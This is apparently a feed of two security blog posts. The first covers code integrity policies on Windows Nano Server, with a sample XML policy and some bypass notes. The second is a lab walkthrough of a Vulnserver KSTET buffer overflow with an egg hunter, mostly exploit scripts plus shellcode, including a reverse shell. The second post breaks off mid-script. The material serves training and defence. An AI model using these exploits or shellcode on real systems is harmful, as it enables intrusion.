Normal view

There are new articles available, click to refresh the page.
Before yesterdayMain stream

Code Integrity on Nano Server: Tips/Gotchas

28 November 2016 at 15:57
Although it's not explicitly called out as being supported in Microsoft documentation, it turns out that you can deploy a code integrity policy to Nano Server, enabling enforcement of user and kernel-mode code integrity. It is refreshing to know that code integrity is supported across all modern Windows operating systems now (Win 10 Enterprise, Win 10 IoT, and Server 2016 including Nano Server) despite the fact that Microsoft doesn't make that fact well known. Now, while it is possible to enforce code integrity on Nano Server, you should be aware of some of the caveats which I intend to enumerate in this post.

Code Integrity != Device Guard

Do note that until now, there has been no mention of Device Guard. This was intentional. Nano Server does not support Device Guard - only code integrity (CI), a subset of the supported Device Guard features. So what's the difference you ask?

  • There are no ConfigCI cmdlets. These cmdlets are what allow you to build code integrity policies. I'm not going to try to speculate around the rationale for not including them in Nano Server but I doubt you will ever see them. In order to build a policy, you will need to build it from a system that does have the ConfigCI cmdlets.
  • Because there are no ConfigCI cmdlets, you cannot use the -Audit parameter of Get-SystemDriver and New-CIPolicy to build a policy based on blocked binaries in the Microsoft-Windows-CodeIntegrity/Operational event log. If you want to do this (an extremely realistic scenario), you have to get comfortable pulling out and parsing blocked binary paths yourself using Get-WinEvent. When calling Get-WinEvent, you'll want to do so from an interactive PSSession rather than calling it from Invoke-Command. By default, event log properties don't get serialized and you need to access the properties to pull out file paths.
  • In order to scan files and parse Authenticode and catalog signatures, you will need to either copy the target files from a PSSession (i.e. Copy-Item -FromSession) or mount Nano Server partitions as a file share. You will need to do the same thing with the CatRoot directory - C:\Windows\System32\CatRoot. Fortunately, Get-SystemDriver and New-CIPolicy support explicit paths using the -ScanPath and -PathToCatroot parameters. It may not be obvious, but you have to build your rules off the Nano Server catalog signers, not some other system because your other system is unlikely to contain the hashes of binaries present on Nano Server.
  • There is no Device Guard WMI provider (ROOT\Microsoft\Windows\DeviceGuard). Without this WMI class, it is difficult to audit code integrity enforcement status at scale remotely.
  • There is no Microsoft-Windows-DeviceGuard/Operational event log so there is no log to indicate when a new CI policy was deployed. This event log is useful for alerting a defender to code integrity policy and virtualization-based security (VBS) configuration tampering.
  • Since Nano Server does not have Group Policy, there is no way to configure a centralized CI policy path, VBS settings, or Credential Guard settings. I still need to dig in further to see if any of these features are even supported in Nano Server. For example, I would really want Nano Server to support UEFI CI policy protection.
  • PowerShell is not placed into constrained language mode even with user-mode code integrity (UMCI) enforcement enabled. Despite PowerShell running on .NET Core, you still have a rich reflection API to interface with Win32 - i.e. gain arbitrary unsigned code execution. With PowerShell not in constrained language mode (it's in FullLanguage mode), this means that signature validation won't be enforced on your scripts. I tried turning on constrained language mode by setting the __PSLockdownPolicy system environment variable, but PowerShell Core doesn't seem to acknowledge it. Signature enforcement of scripts/modules in PowerShell is independent of Just Enough Administration (JEA) but you should also definitely consider using JEA in Nano Server to enforce locked down remote session configurations.

Well then what is supported on Nano Server? Not all is lost. You still get the following:

  • The Microsoft-Windows-CodeIntegrity/Operational event log so you can view which binaries were blocked per code policy.
  • You still deploy SIPolicy.p7b to C:\Windows\System32\CodeIntegrity. When SIPolicy.p7b is present in that directory, Nano Server will begin enforcing the rules after a reboot.

Configuration/deployment/debugging tips/tricks

I wanted to share with you the way in which I dealt with some of the headaches involved in configuring, deploying, and debugging issues associated with code integrity on Nano Server.

Event log parsing

Since you don't get the -Audit parameter in the Get-SystemDriver and New-CIPolicy cmdlets, if you choose to base your policy off audit logs, you will need to pull out blocked binary paths yourself. When in audit mode, binaries that would have been blocked generate EID 3076 events. The path of the binary is populated via the second event parameter. The paths need to be normalized and converted to a proper file path from the raw device path. Here is some sample code that I used to obtain the paths of blocked binaries from the event log:

$BlockedBinaries = Get-WinEvent -LogName 'Microsoft-Windows-CodeIntegrity/Operational' -FilterXPath '*[System[EventID=3076]]' | ForEach-Object {

    $UnnormalizedPath = $_.Properties[1].Value.ToLower()


    $NormalizedPath = $UnnormalizedPath


    if ($UnnormalizedPath.StartsWith('\device\harddiskvolume3')) {

        $NormalizedPath = $UnnormalizedPath.Replace('\device\harddiskvolume3', 'C:')

    } elseif ($UnnormalizedPath.StartsWith('system32')) {

        $NormalizedPath = $UnnormalizedPath.Replace('system32', 'C:\windows\system32')

    }


    $NormalizedPath

} | Sort-Object -Unique


Working through boot failures

There were times when the system often wouldn't boot because my kernel-mode rules were too strict when in enforcement mode. For example, when I neglected to add hal.dll to the whitelist, obviously, the OS wouldn't boot. While I worked through these problems, I would boot into the advanced boot options menu (by pressing F8) and disable driver signature enforcement for that session. This was an easy workaround to gain access to the system without having to boot from external WinPE media to redeploy a better, bootable CI policy. Note that the advanced boot menu is only made available to you if the "Enabled:Advanced Boot Options Menu" policy rule option is present in your CI policy. Obviously, disabling driver signature enforcement is a way to completely circumvent kernel-mode code integrity enforcement.

Completed code integrity policy

After going through many of the phases of an initial deny-all approach as described in my previous post on code integrity policy development, this is the relatively locked CI policy that I got to work on my Nano Server bare metal install (Intel NUC):

<?xml version="1.0" encoding="utf-8"?>

<SiPolicy xmlns="urn:schemas-microsoft-com:sipolicy">

  <VersionEx>1.0.0.0</VersionEx>

  <PolicyTypeID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyTypeID>

  <PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID>

  <Rules>

    <Rule>

      <Option>Enabled:Unsigned System Integrity Policy</Option>

    </Rule>

    <Rule>

      <Option>Enabled:Advanced Boot Options Menu</Option>

    </Rule>

    <Rule>

      <Option>Enabled:UMCI</Option>

    </Rule>

    <Rule>

      <Option>Disabled:Flight Signing</Option>

    </Rule>

  </Rules>

  <!--EKUS-->

  <EKUs />

  <!--File Rules-->

  <FileRules>

    <!--This is the only non-OEM, 3rd party driver I needed for my Intel NUC-->

    <!--I was very specific with this driver rule but flexible with all other MS drivers.-->

    <FileAttrib ID="ID_FILEATTRIB_F_1" FriendlyName="e1d64x64.sys FileAttribute" FileName="e1d64x64.sys" MinimumFileVersion="12.15.22.3" />

  </FileRules>

  <!--Signers-->

  <Signers>

    <Signer ID="ID_SIGNER_F_1" Name="Intel External Basic Policy CA">

      <CertRoot Type="TBS" Value="53B052BA209C525233293274854B264BC0F68B73" />

      <CertPublisher Value="Intel(R) INTELNPG1" />

      <FileAttribRef RuleID="ID_FILEATTRIB_F_1" />

    </Signer>

    <Signer ID="ID_SIGNER_F_2" Name="Microsoft Windows Third Party Component CA 2012">

      <CertRoot Type="TBS" Value="CEC1AFD0E310C55C1DCC601AB8E172917706AA32FB5EAF826813547FDF02DD46" />

      <CertPublisher Value="Microsoft Windows Hardware Compatibility Publisher" />

      <FileAttribRef RuleID="ID_FILEATTRIB_F_1" />

    </Signer>

    <Signer ID="ID_SIGNER_S_3" Name="Microsoft Windows Production PCA 2011">

      <CertRoot Type="TBS" Value="4E80BE107C860DE896384B3EFF50504DC2D76AC7151DF3102A4450637A032146" />

      <CertPublisher Value="Microsoft Windows" />

    </Signer>

    <Signer ID="ID_SIGNER_S_4" Name="Microsoft Code Signing PCA">

      <CertRoot Type="TBS" Value="27543A3F7612DE2261C7228321722402F63A07DE" />

      <CertPublisher Value="Microsoft Corporation" />

    </Signer>

    <Signer ID="ID_SIGNER_S_5" Name="Microsoft Code Signing PCA 2011">

      <CertRoot Type="TBS" Value="F6F717A43AD9ABDDC8CEFDDE1C505462535E7D1307E630F9544A2D14FE8BF26E" />

      <CertPublisher Value="Microsoft Corporation" />

    </Signer>

    <Signer ID="ID_SIGNER_S_6" Name="Microsoft Windows Production PCA 2011">

      <CertRoot Type="TBS" Value="4E80BE107C860DE896384B3EFF50504DC2D76AC7151DF3102A4450637A032146" />

      <CertPublisher Value="Microsoft Windows Publisher" />

    </Signer>

    <Signer ID="ID_SIGNER_S_2" Name="Microsoft Windows Production PCA 2011">

      <CertRoot Type="TBS" Value="4E80BE107C860DE896384B3EFF50504DC2D76AC7151DF3102A4450637A032146" />

      <CertPublisher Value="Microsoft Windows" />

    </Signer>

    <Signer ID="ID_SIGNER_S_1" Name="Microsoft Code Signing PCA 2010">

      <CertRoot Type="TBS" Value="121AF4B922A74247EA49DF50DE37609CC1451A1FE06B2CB7E1E079B492BD8195" />

    </Signer>

  </Signers>

  <!--Driver Signing Scenarios-->

  <SigningScenarios>

    <SigningScenario Value="131" ID="ID_SIGNINGSCENARIO_DRIVERS_1" FriendlyName="Kernel-mode rules">

      <ProductSigners>

        <AllowedSigners>

          <AllowedSigner SignerId="ID_SIGNER_S_1" />

          <AllowedSigner SignerId="ID_SIGNER_S_2" />

          <AllowedSigner SignerId="ID_SIGNER_F_1" />

          <AllowedSigner SignerId="ID_SIGNER_F_2" />

        </AllowedSigners>

      </ProductSigners>

    </SigningScenario>

    <SigningScenario Value="12" ID="ID_SIGNINGSCENARIO_WINDOWS" FriendlyName="User-mode rules">

      <ProductSigners>

        <AllowedSigners>

          <AllowedSigner SignerId="ID_SIGNER_S_3" />

          <AllowedSigner SignerId="ID_SIGNER_S_4" />

          <AllowedSigner SignerId="ID_SIGNER_S_5" />

          <AllowedSigner SignerId="ID_SIGNER_S_6" />

        </AllowedSigners>

      </ProductSigners>

    </SigningScenario>

  </SigningScenarios>

  <UpdatePolicySigners />

  <CiSigners>

    <CiSigner SignerId="ID_SIGNER_S_3" />

    <CiSigner SignerId="ID_SIGNER_S_4" />

    <CiSigner SignerId="ID_SIGNER_S_5" />

    <CiSigner SignerId="ID_SIGNER_S_6" />

  </CiSigners>

  <HvciOptions>0</HvciOptions>

</SiPolicy


I conducted the following phases to generate this policy:
  1. Generate a default, deny-all policy by calling New-CIPolicy on an empty directory. I also increased the size of the Microsoft-Windows-CodeIntegrity/Operational to 20 MB to account for the large number of 3076 events I would expect while deploying the policy in audit mode. I also just focused on drivers for this phase so I didn't initially include the "Enabled:UMCI" option. My approach moving forward will be to focus on just drivers and then user-mode rules so as to minimize unnecessary cross-pollination between rule sets.
  2. Reboot and start pulling out blocked driver paths from the event log. I wanted to use the WHQLFilePublisher rule for the drivers but apparently, none of them were WHQL signed despite some of them certainly appearing to be WHQL signed. I didn't spend too much time diagnosing this issue since I have never been able to successfully get the WHQLFilePublisher rule to work. Instead, I resorted to the FilePublisher rule.
  3. After I felt confident that I had a good driver whitelist, I placed the policy into enforcement mode and rebooted. What resulted was nonstop boot failures. It turns out that if you're whitelisting individual drivers, critical drivers won't show up in the event log in audit mode like ntoskrnl.exe and hal.dll. So I explicitly added rules for them and Nano Server still wouldn't boot. What made things worse is that even if I placed the policy back into audit mode, there were no new blocked driver entries but the system still refused to boot. I rolled the dice and posited that there might be an issue with certificate chain validation at boot time so I created a PCACertificate rule for ntoskrnl.exe (The "Microsoft Code Signing PCA 2010" rule). This miraculously did the trick at the expense of creating a more permissive policy. In the end, I ended up with roughly the equivalent of a Publisher ruleset on my drivers with the exception of my Intel NIC driver.
  4. I explicitly made a FilePublisher rule for my Intel NIC driver as it was the only 3rd part, non-OEM driver I had to add when creating my Nano Server image. I don't need to allow any other code signed by Intel so I explicitly only allow that one driver.
  5. After I got Nano Server to boot, I started working on user-mode rules. This process was relatively straightforward and I used the Publisher rule for user-mode code.
  6. After using Nano Server under audit mode with my new rule set and not seeing any legitimate binaries that would have been blocked, I felt confident in the policy and placed it into audit mode and I haven't run into any issues and I'm using Nano Server as a Hyper-V server (i.e. with the "Compute" package).
I still need to get around to adding my code-signing certificate as an authorized policy signer, sign the policy, and remove "Enabled:Unsigned System Integrity Policy". Overall though, despite the driver issues, I'm fairly content with how well locked down my policy is. It essentially only allows a subset of critical Microsoft code to execute with the exception of the Intel driver which has a very specific file/signature-based rule.

Conclusion

I'm not sure if we'll see improved code integrity or Device Guard support for Nano Server in the future, but something is at least better than nothing. As it stands though, if you are worried about the execution of untrusted PowerShell code, unfortunately, UMCI does nothing to protect you on Nano Server. Code integrity still does a great job of blocking untrusted compiled binaries though - a hallmark of the vast majority of malware campaigns. Nano Server opens up a whole new world of possibilities from a management and malware perspective. I'm personally very interested to see how attackers will try to evolve and support their operations in a Nano Server environment. Fortunately, the combination of Windows Defender and code integrity support offer a solid security baseline.

Vulnserver KSTET Egg Hunter with Python3

By: Joshua
22 November 2018 at 04:37

Sevro Security
Vulnserver KSTET Egg Hunter with Python3

During my OSCP study, I went down the Buffer Overflow rabbit hole and found myself going a bit further than needed. I found out I really freaking like binary exploitation! Today, I am going to talk about Egg Hunters. Egg Hunters are used when we don’t have enough room after the EIP overwrite to execute anything worth our time (i.e., a shell, system command, etc.). An Egg Hunter is a small set of bytecode that is effectively a loop looking for a pre-defined string (that we define) in memory and when it finds that string, it will execute whatever is after. The code after our pre-defined string being our exploitation bytecode.

To put this into context, let’s say we have two FTP parameters that store data on the stack (USER, PASS). Let’s say that the PASS parameter is susceptible to a BOF attack and we can easily gain control of EIP. However, we only have maybe 20-30 bytes after the EIP overwrite to store any bytecode and that’s just not enough space to do anything useful. In comes the USER parameter. It’s not susceptible to a Buffer Overflow necessarily however, it might give us enough buffer space to store our shellcode. In this case, we would have a two-stage execution where we conduct the following:

  1. Connect to the FTP server.
  2. Send our Reverse Shell Payload in the USER parameter.
  3. Send our Egghunter plus the EIP Overwrite to JMP ESP in the PASS Parameter.

Okay, let’s dig in.

[hr]

Setup:

Here is the setup that is being used during the entire write-up:

  • [Attacker] Kali 2018.4 x86_64
  • [Victim] Windows XP SP3 Build 2600
  • [Vulnerable Binary] VulnServer
  • [Language] Python 3.6.6
  • [Debugger] Immunity

Some of you might be asking why Python 3? That’s fair since the python 3 socket library is different than the 2.7 library and that’s really why I am using it, to learn. The biggest difference you will note is that when you send your data to the server, it has to be in a byte object and not a string object whereas 2.7 doesn’t give a shit.

[hr]

Fuzzing:

Our first goal is to identify which parameters are vulnerable but since VulnServer has a few, we’re going to start with the KSTET Parameter. In order to get a better idea on how many parameters there are, below is the available listing.

VulnServer Parameters

We send 1,000 A’s (\x41) with the KSTET parameter and we see we overflow the buffer.

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# Send data to the KSTET Parameter:
buf = b""
buf += b"A"*1000

s.send(b"KSTET %s \r\n" % buf)

s.close()

[hr]

Controlling EIP:

Just like we do with any BOF, let’s get the offset of EIP so we can start the process of controlling EIP.

  • pattern_create.rb -l 1000

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# Send data to the KSTET Parameter:
pattern = (b'''Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B''')

buf = b""
buf += pattern

s.send(b"KSTET %s \r\n" % buf)

s.close()

We then verify the Immunity EIP value.

EIP Offset

And use the pattern_offset to file the true offset of EIP:

  • pattern_offset.rb -q 63413363
    • Offset = 70

Now, let’s send a new payload to do two different things. The first goal is to verify we do have control of EIP by writing all B’s into EIP and the next goal is to check how much space we have after the EIP overwrite to place our shellcode. We do this by sending 600 C’s. The new code looks like this:

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999
EIP_OFFSET = 70

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# Send data to the KSTET Parameter:
buf = b""
buf += b"A"*EIP_OFFSET
buf += b"B"*4
buf += b"C"*600

s.send(b"KSTET %s \r\n" % buf)

s.close()

Immunity shows that yes, we have control of EIP as there are now 4 B’s (\x42) residing in the EIP register, however, we only have 28 Bytes of space after the EIP overwrite. As stated in the beginning of this tutorial, that’s just not enough, we need more space.

EIP Verify

Overflow Space

[hr]

Determine Bad Characters:

Before we start digging into other parameters we can place our shellcode into, let’s determine the bad characters. Here is our new code:

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999
EIP_OFFSET = 70

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# Bad Characters:
bad_chars = [0x00,0x0a]
chars = b""
for i in range(0x00,0xFF+1):
    if i not in bad_chars:
        chars += bytes([i])
with open("bad_chars.bin", "wb") as f:
    f.write(chars)

# Send data to the KSTET Parameter:
buf = b""
buf += chars
s.send(b"KSTET %s \r\n" % buf)

s.close()

In looking at the bad characters, it’s apparent that we don’t have enough space to review the whole array of bytes. As such, I conducted the overflow in three separate operations:

  • Operation 1: 0x00 – 0x60
  • Operation 2: 0x60 – 0xC0
  • Operation 3: 0xC0 – 0xFF

Bad Characters were determined to be: 0x00, 0x0A, 0x0D

[hr]

Finding JMP ESP:

Since I am using VISTA as the victim, there will be little to no protection (DEP,ASLR). That means we can just ask mona to look for the JMP ESP opcode (\xFF\xE4) and choose any of the results.

JMP ESP

I’m just going to use the first result (0x7C874F13). To make sure we have full control and are able to execute the JMP ESP instruction, let’s restart the vulnserver in Immunity and set a break point at the address. Here is the new code:

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999
EIP_OFFSET = 70
JMP_ESP = struct.pack("I", 0x7C874F13)          # FFE4  JMP ESP
#JMP_ESP = b"\x13\x4F\x87\x7C"
#print(JMP_ESP)

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# Send data to the KSTET Parameter:
buf = b""
buf += b"A" * EIP_OFFSET
buf += JMP_ESP
s.send(b"KSTET %s \r\n" % buf)

s.close()

And we have a successful JMP ESP.

Breakpoint Hit

[hr]

Building the Egghunter:

Okay, we know that we only have about 28 Bytes after the EIP overflow to work with. That wont fit our egghunter byte code. In that case, we will inject our egghunter before the EIP overwrite and then add the instruction JMP SHORT -48 after the EIP overwrite to jump back to our egghunter. What we need to figure out now is which parameter can successfully take an input of about 350-450 bytes of data and not throw an exception or overflow the buffer. Let’s build a fuzzing script to do that for us.

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999
EIP_OFFSET = 70
JMP_ESP = struct.pack("I", 0x7C874F13)          # FFE4  JMP ESP
#JMP_ESP = b"\x13\x4F\x87\x7C"
#print(JMP_ESP)

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# Send data to the KSTET Parameter:
parameters = [b"STATS",b"RTIME",b"LTIME",b"SRUN",b"TRUN",b"GMON",b"GDOG",b"GTER",b"HTER",b"LTER",b"KSTAN"]

for i in range(0,len(parameters)):
    print("[+] Sending %s"% str(parameters[i]))
    buf = b""
    buf += parameters[i]
    buf += b" "
    buf += b"A" * 500
    s.send(b"%s\r\n" % buf)
    time.sleep(1)

Right away, we find that the GTER parameter causes an overflow. Let’s remove that and test again.  After the second test, we see that the rest of the parameters ran successfully without causing an overflow or an exception. This means that maybe, we can store our shellcode in one of these parameters and have the egghunter find it in memory. Now that we know the parameters, let’s add this to our script and build a two payload program.

To generate the egghunter code, we will use mona.

!mona egg -cpb "\x00\x0a\x0d" -t loki

Generate Egghunter

The image above shows our shellcode. The generated shellcode will also be listed in an egghunter.txt document located at C:/Program Files/Immunity Inc/Immunity Debugger.

Now let’s generate some shellcode. For testing, I am just going to send the command calc.exe. The syntax to generate this shellcode is:

msfvenom -p windows/exec cmd=calc.exe -b '\x00\x0a\x0d' -f c

Our new script looks like this:

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999
EIP_OFFSET = 70
JMP_ESP = struct.pack("I", 0x7C874F13)          # FFE4  JMP ESP
#JMP_ESP = b"\x13\x4F\x87\x7C"
#print(JMP_ESP)

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# STAGE 1: Send The Shellcode
parameters = [b"STATS",b"RTIME",b"LTIME",b"SRUN",b"TRUN",b"GMON",b"GDOG",b"HTER",b"LTER",b"KSTAN"]

shellcode = (b"\xda\xce\xba\x5b\x24\x91\xbf\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1"
"\x31\x83\xef\xfc\x31\x57\x14\x03\x57\x4f\xc6\x64\x43\x87\x84"
"\x87\xbc\x57\xe9\x0e\x59\x66\x29\x74\x29\xd8\x99\xfe\x7f\xd4"
"\x52\x52\x94\x6f\x16\x7b\x9b\xd8\x9d\x5d\x92\xd9\x8e\x9e\xb5"
"\x59\xcd\xf2\x15\x60\x1e\x07\x57\xa5\x43\xea\x05\x7e\x0f\x59"
"\xba\x0b\x45\x62\x31\x47\x4b\xe2\xa6\x1f\x6a\xc3\x78\x14\x35"
"\xc3\x7b\xf9\x4d\x4a\x64\x1e\x6b\x04\x1f\xd4\x07\x97\xc9\x25"
"\xe7\x34\x34\x8a\x1a\x44\x70\x2c\xc5\x33\x88\x4f\x78\x44\x4f"
"\x32\xa6\xc1\x54\x94\x2d\x71\xb1\x25\xe1\xe4\x32\x29\x4e\x62"
"\x1c\x2d\x51\xa7\x16\x49\xda\x46\xf9\xd8\x98\x6c\xdd\x81\x7b"
"\x0c\x44\x6f\x2d\x31\x96\xd0\x92\x97\xdc\xfc\xc7\xa5\xbe\x6a"
"\x19\x3b\xc5\xd8\x19\x43\xc6\x4c\x72\x72\x4d\x03\x05\x8b\x84"
"\x60\xf9\xc1\x85\xc0\x92\x8f\x5f\x51\xff\x2f\x8a\x95\x06\xac"
"\x3f\x65\xfd\xac\x35\x60\xb9\x6a\xa5\x18\xd2\x1e\xc9\x8f\xd3"
"\x0a\xaa\x4e\x40\xd6\x03\xf5\xe0\x7d\x5c")

for i in range(0,len(parameters)):
    s.send(parameters[i] + b" " + b"lokiloki" + shellcode + b"\r\n")
    print(s.recv(1024))
    time.sleep(1)
s.close()

# STAGE 2: Send the Egghunter Code in the Overflow
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((IP,PORT))

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += b"\xef\xb8\x6c\x6f\x6b\x69\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"


buf = b"\x90"*30
buf += egghunter
buf += b"\x90" * ((EIP_OFFSET-len(egghunter)-30))
buf += JMP_ESP
buf += b"\xEB\xCE"          # Jump Back 50 Bytes for egghunter shellcode
buf += b"C" * 200
s.send(b"KSTET " + buf + b"\r\n")
print(s.recv(1024))

s.close()

The script is broken down into two different stages. Each stage generates a new socket call to the vulnerable server, this is important. Also, take note to the Stage 1 s.send(). You can see I have added the b"lokiloki" to it. This is the string that the egghunter is going to look for in memory. When you generate the egg hunter with mona and read the .txt file it generates, it will explicitly tell you what text to put there. Let’s break down what is happening at each stage.

Stage 1:

In stage one, we connect to the vulnerable server and start a for loop. The for loop loops through the parameters array using each value to send the shellcode payload. We don’t know which parameter will truly hold our shellcode so hell, why not try them all! And that’s effectively what we are doing here. It’s also important to note that a 1-second time delay is necessary at the end of each loop iteration. Without that one second time delay, we outpace the server and never give it a chance to take action on the command we just sent.

Stage 2:

Stage two is where the real magic happens. We create a new socket and connect to the vulnerable server once again. This time, we send the egghunter between two sets of NOP’s, overwrite the EIP register with our JMP ESP instruction memory address, and then we have a custom instruction we wrote (\xEB\xCE) that’s loaded into the stack per our overflow and executed after the JMP ESP instruction. Let’s take a look at this instruction and why we have it in our payload.

Our egghunter shellcode is still a bit too big to be loaded after the JMP ESP. However, we know we have a total of 70 bytes before the EIP overwrite and therefore we can use that space to store our egghunter and then jump back to it with a custom instruction. In this case, I want to jump back 48 Bytes to the middle of our first NOP sled. We can use the nasm_shell.rb to give us the correct opcode to use as seen in the image below.

NASM

Let’s put a breakpoint in Immunity at our JMP ESP and step through what is going on here.

JMP SHORT -48

When we hit our breakpoint we jumped forward 1 instruction (F7) to get to our JMP SHORT instruction highlighted in blue in the leftmost image. When we move forward again (1 instruction) we see we jump to a lower memory address putting us 4 NOP Bytes before our egghunter. Perfect!

The egghunter is going to start a loop looking for the lokiloki string in memory in an attempt to find our shellcode and execute it. If we let the rest of the code run it’s course, we get calc.exe to pop and we know we have full code execution!

calc.exe

[hr]

Reverse Shell:

Now that we have a fully working exploit, let’s resplace the calc.exe shellcode with a reverse shell and see what happens.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.136 LPORT=443 -b'\x00\x0a\x0d' -f c

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999
EIP_OFFSET = 70
JMP_ESP = struct.pack("I", 0x7C874F13)          # FFE4  JMP ESP
#JMP_ESP = b"\x13\x4F\x87\x7C"
#print(JMP_ESP)

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# STAGE 1: Send The Shellcode
parameters = [b"STATS",b"RTIME",b"LTIME",b"SRUN",b"TRUN",b"GMON",b"GDOG",b"HTER",b"LTER",b"KSTAN"]

shellcode = (b"\xda\xc7\xd9\x74\x24\xf4\xb8\xca\x84\x12\x1c\x5a\x33\xc9\xb1"
"\x52\x31\x42\x17\x83\xc2\x04\x03\x88\x97\xf0\xe9\xf0\x70\x76"
"\x11\x08\x81\x17\x9b\xed\xb0\x17\xff\x66\xe2\xa7\x8b\x2a\x0f"
"\x43\xd9\xde\x84\x21\xf6\xd1\x2d\x8f\x20\xdc\xae\xbc\x11\x7f"
"\x2d\xbf\x45\x5f\x0c\x70\x98\x9e\x49\x6d\x51\xf2\x02\xf9\xc4"
"\xe2\x27\xb7\xd4\x89\x74\x59\x5d\x6e\xcc\x58\x4c\x21\x46\x03"
"\x4e\xc0\x8b\x3f\xc7\xda\xc8\x7a\x91\x51\x3a\xf0\x20\xb3\x72"
"\xf9\x8f\xfa\xba\x08\xd1\x3b\x7c\xf3\xa4\x35\x7e\x8e\xbe\x82"
"\xfc\x54\x4a\x10\xa6\x1f\xec\xfc\x56\xf3\x6b\x77\x54\xb8\xf8"
"\xdf\x79\x3f\x2c\x54\x85\xb4\xd3\xba\x0f\x8e\xf7\x1e\x4b\x54"
"\x99\x07\x31\x3b\xa6\x57\x9a\xe4\x02\x1c\x37\xf0\x3e\x7f\x50"
"\x35\x73\x7f\xa0\x51\x04\x0c\x92\xfe\xbe\x9a\x9e\x77\x19\x5d"
"\xe0\xad\xdd\xf1\x1f\x4e\x1e\xd8\xdb\x1a\x4e\x72\xcd\x22\x05"
"\x82\xf2\xf6\x8a\xd2\x5c\xa9\x6a\x82\x1c\x19\x03\xc8\x92\x46"
"\x33\xf3\x78\xef\xde\x0e\xeb\xd0\xb7\x28\x63\xb8\xc5\x48\x72"
"\x82\x43\xae\x1e\xe4\x05\x79\xb7\x9d\x0f\xf1\x26\x61\x9a\x7c"
"\x68\xe9\x29\x81\x27\x1a\x47\x91\xd0\xea\x12\xcb\x77\xf4\x88"
"\x63\x1b\x67\x57\x73\x52\x94\xc0\x24\x33\x6a\x19\xa0\xa9\xd5"
"\xb3\xd6\x33\x83\xfc\x52\xe8\x70\x02\x5b\x7d\xcc\x20\x4b\xbb"
"\xcd\x6c\x3f\x13\x98\x3a\xe9\xd5\x72\x8d\x43\x8c\x29\x47\x03"
"\x49\x02\x58\x55\x56\x4f\x2e\xb9\xe7\x26\x77\xc6\xc8\xae\x7f"
"\xbf\x34\x4f\x7f\x6a\xfd\x7f\xca\x36\x54\xe8\x93\xa3\xe4\x75"
"\x24\x1e\x2a\x80\xa7\xaa\xd3\x77\xb7\xdf\xd6\x3c\x7f\x0c\xab"
"\x2d\xea\x32\x18\x4d\x3f")

for i in range(0,len(parameters)):
    s.send(parameters[i] + b" " + b"lokiloki" + shellcode + b"\r\n")
